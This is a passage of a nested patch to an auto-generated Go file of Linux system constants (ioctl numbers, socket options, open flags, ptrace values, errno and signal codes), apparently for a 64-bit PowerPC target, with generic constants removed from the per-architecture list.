-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0x10
-- VEOF = 0x4
-- VEOL = 0x6
-- VEOL2 = 0x8
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x5
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xb
-- VSTART = 0xd
-- VSTOP = 0xe
-- VSUSP = 0xc
-- VSWTC = 0x9
-- VT0 = 0x0
-- VT1 = 0x10000
-- VTDLY = 0x10000
-- VTIME = 0x7
-- VWERASE = 0xa
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4000
-- XTABS = 0xc00
-+ B1000000 = 0x17
-+ B115200 = 0x11
-+ B1152000 = 0x18
-+ B1500000 = 0x19
-+ B2000000 = 0x1a
-+ B230400 = 0x12
-+ B2500000 = 0x1b
-+ B3000000 = 0x1c
-+ B3500000 = 0x1d
-+ B4000000 = 0x1e
-+ B460800 = 0x13
-+ B500000 = 0x14
-+ B57600 = 0x10
-+ B576000 = 0x15
-+ B921600 = 0x16
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1f
-+ BS1 = 0x8000
-+ BSDLY = 0x8000
-+ CBAUD = 0xff
-+ CBAUDEX = 0x0
-+ CIBAUD = 0xff0000
-+ CLOCAL = 0x8000
-+ CR1 = 0x1000
-+ CR2 = 0x2000
-+ CR3 = 0x3000
-+ CRDLY = 0x3000
-+ CREAD = 0x800
-+ CS6 = 0x100
-+ CS7 = 0x200
-+ CS8 = 0x300
-+ CSIZE = 0x300
-+ CSTOPB = 0x400
-+ ECHOCTL = 0x40
-+ ECHOE = 0x2
-+ ECHOK = 0x4
-+ ECHOKE = 0x1
-+ ECHONL = 0x10
-+ ECHOPRT = 0x20
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000000
-+ FF1 = 0x4000
-+ FFDLY = 0x4000
-+ FLUSHO = 0x800000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x4000
-+ ICANON = 0x100
-+ IEXTEN = 0x400
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x80
-+ IUCLC = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x80
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x40
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x2000
-+ MCL_FUTURE = 0x4000
-+ MCL_ONFAULT = 0x8000
-+ NFDBITS = 0x40
-+ NL2 = 0x200
-+ NL3 = 0x300
-+ NLDLY = 0x300
-+ NOFLSH = 0x80000000
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x4
-+ ONLCR = 0x2
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x20000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x1000
-+ PARODD = 0x2000
-+ PENDIN = 0x20000000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PROT_SAO = 0x10
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETEVRREGS = 0x14
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETREGS64 = 0x16
-+ PTRACE_GETVRREGS = 0x12
-+ PTRACE_GETVSRREGS = 0x1b
-+ PTRACE_GET_DEBUGREG = 0x19
-+ PTRACE_SETEVRREGS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETREGS64 = 0x17
-+ PTRACE_SETVRREGS = 0x13
-+ PTRACE_SETVSRREGS = 0x1c
-+ PTRACE_SET_DEBUGREG = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x100
-+ PTRACE_SYSEMU = 0x1d
-+ PTRACE_SYSEMU_SINGLESTEP = 0x1e
-+ PT_CCR = 0x26
-+ PT_CTR = 0x23
-+ PT_DAR = 0x29
-+ PT_DSCR = 0x2c
-+ PT_DSISR = 0x2a
-+ PT_FPR0 = 0x30
-+ PT_FPSCR = 0x50
-+ PT_LNK = 0x24
-+ PT_MSR = 0x21
-+ PT_NIP = 0x20
-+ PT_ORIG_R3 = 0x22
-+ PT_R0 = 0x0
-+ PT_R1 = 0x1
-+ PT_R10 = 0xa
-+ PT_R11 = 0xb
-+ PT_R12 = 0xc
-+ PT_R13 = 0xd
-+ PT_R14 = 0xe
-+ PT_R15 = 0xf
-+ PT_R16 = 0x10
-+ PT_R17 = 0x11
-+ PT_R18 = 0x12
-+ PT_R19 = 0x13
-+ PT_R2 = 0x2
-+ PT_R20 = 0x14
-+ PT_R21 = 0x15
-+ PT_R22 = 0x16
-+ PT_R23 = 0x17
-+ PT_R24 = 0x18
-+ PT_R25 = 0x19
-+ PT_R26 = 0x1a
-+ PT_R27 = 0x1b
-+ PT_R28 = 0x1c
-+ PT_R29 = 0x1d
-+ PT_R3 = 0x3
-+ PT_R30 = 0x1e
-+ PT_R31 = 0x1f
-+ PT_R4 = 0x4
-+ PT_R5 = 0x5
-+ PT_R6 = 0x6
-+ PT_R7 = 0x7
-+ PT_R8 = 0x8
-+ PT_R9 = 0x9
-+ PT_REGS_COUNT = 0x2c
-+ PT_RESULT = 0x2b
-+ PT_SOFTE = 0x27
-+ PT_TRAP = 0x28
-+ PT_VR0 = 0x52
-+ PT_VRSAVE = 0x94
-+ PT_VSCR = 0x93
-+ PT_VSR0 = 0x96
-+ PT_VSR31 = 0xd4
-+ PT_XER = 0x25
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x4004667f
-+ SIOCOUTQ = 0x40047473
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x14
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x15
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x10
-+ SO_RCVTIMEO = 0x12
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x12
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x11
-+ SO_SNDTIMEO = 0x13
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x13
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x2000741f
-+ TCGETA = 0x40147417
-+ TCGETS = 0x402c7413
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x2000741d
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x80147418
-+ TCSETAF = 0x8014741c
-+ TCSETAW = 0x80147419
-+ TCSETS = 0x802c7414
-+ TCSETSF = 0x802c7416
-+ TCSETSW = 0x802c7415
-+ TCXONC = 0x2000741e
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x40045432
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x5424
-+ TIOCGETP = 0x40067408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x4004667f
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_LOOP = 0x8000
-+ TIOCM_OUT1 = 0x2000
-+ TIOCM_OUT2 = 0x4000
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x5423
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x5412
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x400000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0x10
-+ VEOF = 0x4
-+ VEOL = 0x6
-+ VEOL2 = 0x8
-+ VMIN = 0x5
-+ VREPRINT = 0xb
-+ VSTART = 0xd
-+ VSTOP = 0xe
-+ VSUSP = 0xc
-+ VSWTC = 0x9
-+ VT1 = 0x10000
-+ VTDLY = 0x10000
-+ VTIME = 0x7
-+ VWERASE = 0xa
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4000
-+ XTABS = 0xc00
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +562,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x3a)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +587,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +594,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
